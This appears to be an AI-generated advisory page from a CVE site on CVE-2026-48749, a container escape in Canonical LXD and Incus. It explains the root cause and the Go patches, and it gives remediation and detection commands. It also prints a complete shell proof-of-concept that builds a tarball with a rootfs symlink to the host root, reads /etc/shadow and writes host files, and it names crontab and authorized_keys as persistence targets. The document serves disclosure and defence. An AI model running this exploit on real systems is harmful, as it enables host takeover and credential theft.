CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-VGHH-5RFX-XHQ8

CVE-2026-48749: Arbitrary Host File Read and Write via Malicious Image Symlink in Canonical LXD and Incus

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 7, 2026·9 min read·2 visits

Executive Summary (TL;DR)

A tar extraction validation bypass and unconfined symlink resolution flaw in Canonical LXD and Incus allows authenticated users with image import permissions to replace a container's rootfs directory with a symlink to the host root filesystem, resulting in arbitrary file read, arbitrary file write, and complete host compromise as root.

CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.

Vulnerability Overview

Canonical LXD and Linux Containers Incus are system container and virtual machine managers built on top of LXC and QEMU. Both platforms expose a REST API over a local Unix socket or network interface, enabling users and tenants to import container images, initialize instances, and manage container lifecycles. One core feature of the management API is the ability to push and pull files directly to and from an instance's root filesystem, even when the container is in a stopped state.

A vulnerability identified as CVE-2026-48749 (with corresponding vendor advisories GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) exists in how the daemon validates imported unified tarball images and subsequently resolves the instance rootfs path during file operations. Classified under CWE-73 (External Control of File Name or Path), the flaw allows an attacker to control the target path of host-level file operations by embedding a symbolic link inside an imported image archive.

To trigger the vulnerability, an attacker with permissions to import images and create instances constructs a tar archive containing duplicate entries for the rootfs path. The first entry is a standard directory that satisfies the initial image structural checks, while the second entry is a symbolic link pointing to / (the host root filesystem). When the archive is extracted into the storage pool, the symbolic link supersedes the directory.

When the attacker subsequently executes a file pull or push command against the initialized, stopped instance, the LXD or Incus daemon invokes its privileged forkfile helper binary. Because the instance driver resolves the rootfs path without checking for symbolic links or enforcing directory boundary confinement, forkfile performs a chroot() call directly into the host's root filesystem. This breaks container isolation and allows the user to read or overwrite arbitrary files on the host operating system with root privileges.

Root Cause Analysis

The root cause of CVE-2026-48749 stems from an architectural mismatch between archive validation during image import, sequential tar extraction mechanics, and unconfined path resolution within the instance storage driver. LXD and Incus support importing unified tarball images, which must contain an instance configuration file (metadata.yaml) and a root filesystem directory (rootfs/).

During the image import phase, the validation logic inspects the archive headers sequentially to verify the presence of metadata.yaml and a valid rootfs/ directory entry. Once validation succeeds, the archive is unpacked onto the target storage pool volume. Standard tar extraction routines process archive headers in order; if a tarball contains an initial directory entry named rootfs/ followed by a subsequent header also named rootfs configured as a symbolic link (rootfs -> /), the extraction routine overwrites or replaces the empty directory with the symbolic link.

The second half of the vulnerability occurs when the daemon interacts with the extracted instance volume on disk. Prior to the patch, the instance driver's RootfsPath() and TemplatesPath() methods constructed paths using standard string concatenation via filepath.Join(d.Path(), "rootfs"). The driver did not verify via os.Lstat() whether the resulting path was a symbolic link, nor did it use kernel-enforced directory descriptors to prevent traversal outside the instance's base directory d.Path().

When a user executes lxc file pull or lxc file push (or the incus equivalents) on a stopped container, the daemon spawns the internal forkfile subcommand to perform file manipulation safely inside the container's filesystem context. The daemon opens the path returned by d.RootfsPath()—which the kernel resolves through the symlink to the host's /—and passes the resulting file descriptor to forkfile. Inside forkfile, the process executes chroot() to this file descriptor under root permissions, effectively chrooting into the host operating system root rather than an isolated container directory.

Code Analysis

The remediation implemented across Canonical LXD commits (including 254b85c9301397e25304116b63da9154093199da and edb6d994f77333c9c33f4d9a137c754d142f3818) addresses the vulnerability at both the path resolution helper layer and the VFS confinement layer. Previously, the common instance driver generated paths to internal subdirectories directly without inspecting filesystem metadata.

// Vulnerable pattern prior to fix:
func (d *common) RootfsPath() string {
    return filepath.Join(d.Path(), "rootfs")
}
 
func (d *common) TemplatesPath() string {
    return filepath.Join(d.Path(), "templates")
}

To prevent symbolic link following at the top-level instance subdirectories, the maintainers introduced a dedicated subPath() validation method. This function uses os.Lstat() to inspect the target inode without following symbolic links and explicitly rejects any entry where the os.ModeSymlink bit is set:

// Patched path resolution with explicit symlink rejection:
func (d *common) subPath(name string) (string, error) {
    path := filepath.Join(d.Path(), name)
    fi, err := os.Lstat(path)
    if err != nil {
        if os.IsNotExist(err) {
            // Allow path return if directory has not been created yet
            return path, nil
        }
        return "", err
    }
 
    // Reject if the subdirectory entry itself is a symbolic link
    if fi.Mode()&os.ModeSymlink != 0 {
        return "", fmt.Errorf("%q for instance %q is a symlink", name, d.name)
    }
 
    return path, nil
}

In addition to the os.Lstat() check, newer branches introduce confined directory resolution using Go's os.OpenRoot / os.Root API (openSubPath, OpenRootfs, and OpenTemplates). By opening the instance's base directory as an os.Root object and resolving subdirectories relative to that handle, the Go runtime and underlying operating system kernel enforce path boundary confinement:

> [!NOTE] > Using os.Root (backed by Linux openat2 with RESOLVE_BENEATH / RESOLVE_IN_ROOT) provides defense-in-depth against time-of-check to time-of-use (TOCTOU) race conditions and multi-component symlink escapes.

This two-tiered fix is comprehensive. The os.Lstat() verification immediately blocks static symlink replacement of rootfs and templates directories across all callers of RootfsPath() and TemplatesPath(), while the transition to os.Root file descriptors ensures that subsequent file operations cannot traverse out of the instance directory boundary.

Exploitation

Exploiting CVE-2026-48749 requires low privileges (PR:L), specifically an authenticated user or tenant account with access to the LXD or Incus API (either via local group membership such as lxd / incus-admin, or via a restricted project tenant with image import permissions). No user interaction or complex timing is required.

The attack methodology proceeds in four distinct phases:

  1. Archive Construction: The attacker creates a valid directory containing a minimal metadata.yaml file and an empty rootfs/ directory, archiving them into a base tarball.
  2. Symlink Appending: The attacker removes the local rootfs/ directory, creates a symbolic link named rootfs pointing to /, and uses tar --append to add the symlink to the existing tarball.
  3. Image Import and Instance Initialization: The attacker imports the crafted tarball into the daemon (incus image import or lxc image import) and initializes a stopped container instance (incus init or lxc init) without starting it.
  4. Host File Read/Write: The attacker runs file pull to exfiltrate sensitive host files (such as /etc/shadow) or file push to write arbitrary files onto the host filesystem (such as /etc/crontab or /root/.ssh/authorized_keys).

The following proof-of-concept (PoC) script demonstrates full exploitation against an Incus or LXD environment:

#!/bin/sh
set -eu
 
tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
 
# Step 1: Create legitimate image directory layout
mkdir -p "${tmpdir}/img/rootfs"
cat <<__EOF__ >"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__
 
# Step 2: Create base tar archive
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
 
# Step 3: Inject duplicate rootfs symlink pointing to host root
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
 
# Step 4: Import malicious image into daemon
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
 
# Step 5: Read sensitive host files (Arbitrary File Read)
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
 
# Step 6: Create or overwrite files on the host (Arbitrary File Write)
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

In Canonical LXD deployments, replacing the incus CLI invocations with lxc executes the exact same code path and yields identical host-level arbitrary file read and write primitives.

Impact Assessment

The security impact of CVE-2026-48749 is critical, carrying a CVSS v3.1 base score of 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). Because LXD and Incus daemons frequently listen on network sockets for cluster and remote client management, the attack vector is classified as Network (AV:N). The scope is Changed (S:C) because a vulnerability inside the container management layer results in direct compromise of the underlying host operating system.

In multi-tenant environments where non-administrative users are granted restricted project access to manage their own containers and images, this vulnerability completely breaks tenant isolation. A low-privileged tenant can escape their project boundary and gain full administrative control over the host machine and all co-hosted containers or virtual machines.

Confidentiality Impact (C:H): Attackers can read any file on the host filesystem, including /etc/shadow, host SSH private keys, TLS certificates for the LXD/Incus cluster, database credentials, and memory/disk states of other running instances.

Integrity and Availability Impact (I:H/A:H): By leveraging lxc file push or incus file push, an attacker can write arbitrary files with root ownership anywhere on the host. Overwriting /etc/crontab, /etc/systemd/system/ service units, /root/.ssh/authorized_keys, or dynamic system libraries (ld.so.preload) immediately converts the arbitrary file write primitive into unauthenticated root remote code execution on the host.

Remediation

Organizations running Canonical LXD or Linux Containers Incus must upgrade to the patched releases immediately. The vulnerability is remediated in the following versions:

  • Canonical LXD: Upgrade to 4.0.11, 5.0.7, 5.21.5, 6.9.0, or later.
  • Linux Containers Incus: Upgrade to 7.2.0 or later.

In environments where immediate patching is not feasible, administrators must restrict access to the LXD and Incus daemon Unix sockets (/var/snap/lxd/common/lxd/unix.socket or /var/lib/incus/unix.socket) and remote HTTPS APIs solely to fully trusted host administrators. Multi-tenant users or untrusted automation pipelines should be prevented from importing custom image archives via RBAC or project restrictions (restricted.images configurations).

Security teams can audit existing storage pools to detect whether any imported images or initialized instances contain malicious rootfs or templates symbolic links using the following filesystem search commands:

# Audit LXD storage pools for symlinked rootfs or templates directories
find /var/lib/lxd/storage-pools/ -maxdepth 3 -type l \( -name "rootfs" -o -name "templates" \)
find /var/snap/lxd/common/lxd/storage-pools/ -maxdepth 3 -type l \( -name "rootfs" -o -name "templates" \)
 
# Audit Incus storage pools for symlinked rootfs or templates directories
find /var/lib/incus/storage-pools/ -maxdepth 3 -type l \( -name "rootfs" -o -name "templates" \)

Additionally, host intrusion detection systems (auditd or eBPF-based monitors) should be configured to alert on lxd forkfile or incus forkfile processes accessing sensitive host paths such as /etc/shadow, /etc/sudoers, or /etc/crontab.

Official Patches

CanonicalCanonical LXD Security Advisory GHSA-vghh-5rfx-xhq8
Linux Containers (Incus)Linux Containers Incus Security Advisory GHSA-2q3f-q5pq-g8wv
Linux Containers (Incus)Incus 7.2 Release Announcement

Fix Analysis (10)

Technical Appendix

CVSS Score
9.9/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
EPSS Probability
0.78%
Top 44% most exploited

Affected Systems

Canonical LXDLinux Containers Incus

Affected Versions Detail

Product
Affected Versions
Fixed Version
LXD
Canonical
>= 4.0.0, < 4.0.114.0.11
LXD
Canonical
>= 5.0.0, < 5.0.75.0.7
LXD
Canonical
>= 5.1.0, < 5.21.55.21.5
LXD
Canonical
>= 6.0.0, < 6.9.06.9.0
Incus
Linux Containers
< 7.2.07.2.0
AttributeDetail
CVE IDCVE-2026-48749 (GHSA-vghh-5rfx-xhq8 / GHSA-2q3f-q5pq-g8wv)
Weakness ClassCWE-73: External Control of File Name or Path
CVSS v3.1 Score9.9 CRITICAL (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
EPSS Score0.78% (56.22nd Percentile)
Attack VectorAuthenticated API / Malicious Container Image Import
Security ImpactContainer Escape via Arbitrary Host File Read and Write as Root
Exploit StatusPublic Proof-of-Concept (PoC) Available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1611Escape to Host
Privilege Escalation
T1059Command and Scripting Interpreter
Execution
T1083File and Directory Discovery
Discovery
T1565Data Manipulation
Impact
CWE-73
External Control of File Name or Path

The software allows user input or archive contents to control filesystem path references without proper sanitization, directory traversal confinement, or resolution prevention, leading to unauthorized resource access.

Known Exploits & Detection

GitHub Security Advisory (LXD)Official Canonical LXD advisory containing functional shell script Proof-of-Concept demonstrating arbitrary host file read and write.
GitHub Security Advisory (Incus)Official Linux Containers Incus advisory detailing the rootfs symlink arbitrary file read/write exploit.

Vulnerability Timeline

Incus 7.2.0 released containing fixes for rootfs symlink traversal.
2026-06-29
CVE-2026-48749 officially published by CNA (GitHub, Inc.).
2026-08-21
GitHub Security Advisories GHSA-vghh-5rfx-xhq8 and GHSA-2q3f-q5pq-g8wv published and updated.
2026-11-06

References & Sources

  • [1]GitHub Security Advisory: GHSA-vghh-5rfx-xhq8 (Canonical LXD)
  • [2]GitHub Security Advisory: GHSA-2q3f-q5pq-g8wv (LXC Incus)
  • [3]NVD Vulnerability Detail: CVE-2026-48749
  • [4]CVE.org Official Record: CVE-2026-48749
  • [5]Canonical LXD Source Repository
  • [6]Announcing Incus 7.2

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•GHSA-FMC8-P6Q7-75CC
9.9

GHSA-fmc8-p6q7-75cc: Argument Injection in Canonical LXD Backup Compression Leads to Host Root Code Execution

GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.

Amit Schendel
Amit Schendel
6 views•10 min read
•about 3 hours ago•GHSA-PJFF-C2WC-F6JM
9.9

CVE-2026-48769: Arbitrary File Write and Remote Code Execution via Trusted Image Hash in Canonical LXD and Linux Containers Incus

A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.

Alon Barad
Alon Barad
7 views•10 min read
•about 7 hours ago•CVE-2026-9639
6.5

CVE-2026-9639: Authenticated Denial of Service via Nil-Pointer Dereference in Canonical LXD Custom Volume Backup Import

CVE-2026-9639 (GHSA-j93m-3j9p-m5m8) is a null pointer dereference vulnerability in Canonical LXD affecting versions 5.0.0 through 5.21.4 and 6.0 through 6.8. The flaw resides in the (*lxdBackend).CreateCustomVolumeFromBackup method within lxd/storage/backend_lxd.go. An authenticated attacker with the can_create_storage_volumes permission can upload a crafted custom volume backup tarball that omits the expires_at field on a snapshot entry, triggering an unhandled SIGSEGV panic and terminating the LXD daemon.

Amit Schendel
Amit Schendel
6 views•9 min read
•about 8 hours ago•CVE-2026-33050
8.8

CVE-2026-33050: OS Command Injection in GeoNode Vector Upload Handler

An operating system command injection vulnerability (CWE-78) exists in GeoNode versions prior to 5.1.0. The vulnerability occurs in the vector upload processing pipeline when handling user-supplied geospatial files. By supplying a crafted layer name containing shell metacharacters, an authenticated attacker with basic data upload privileges can execute arbitrary commands on the underlying server or container hosting the GeoNode application and Celery worker processes.

Alon Barad
Alon Barad
6 views•9 min read
•about 9 hours ago•CVE-2026-46429
5.5

CVE-2026-46429: Unrestricted File Upload and Validation Bypass in GeoNode

GeoNode versions prior to 5.0.3 contain an unrestricted file upload vulnerability (CWE-434) within the document and dataset ingestion architecture. Authenticated low-privileged users can bypass upload validation via direct REST API interactions, file extension masquerading, metadata mutation via PATCH requests, or malicious archive submissions. This allows attackers to store and serve dangerous file types, alter on-disk file references, or trigger path traversal and resource exhaustion during archive extraction.

Amit Schendel
Amit Schendel
7 views•10 min read
•about 10 hours ago•CVE-2026-55649
6.3

CVE-2026-55649: Stored Cross-Site Scripting in GeoNode Document Metadata Abstract Field

CVE-2026-55649 is a stored Cross-Site Scripting (XSS) vulnerability in GeoNode versions prior to 5.0.3. The flaw exists because document abstract metadata fields are ingested via the metadata management pipeline and stored in the backend database without HTML sanitization or input neutralization. An authenticated attacker with privileges to create or edit document metadata can inject arbitrary HTML and JavaScript payloads into these fields. When another user, such as an administrator, views the affected document page or catalog listing, the unencoded payload is rendered into the Document Object Model (DOM) and executes within the victim's browser session.

Amit Schendel
Amit Schendel
7 views•9 min read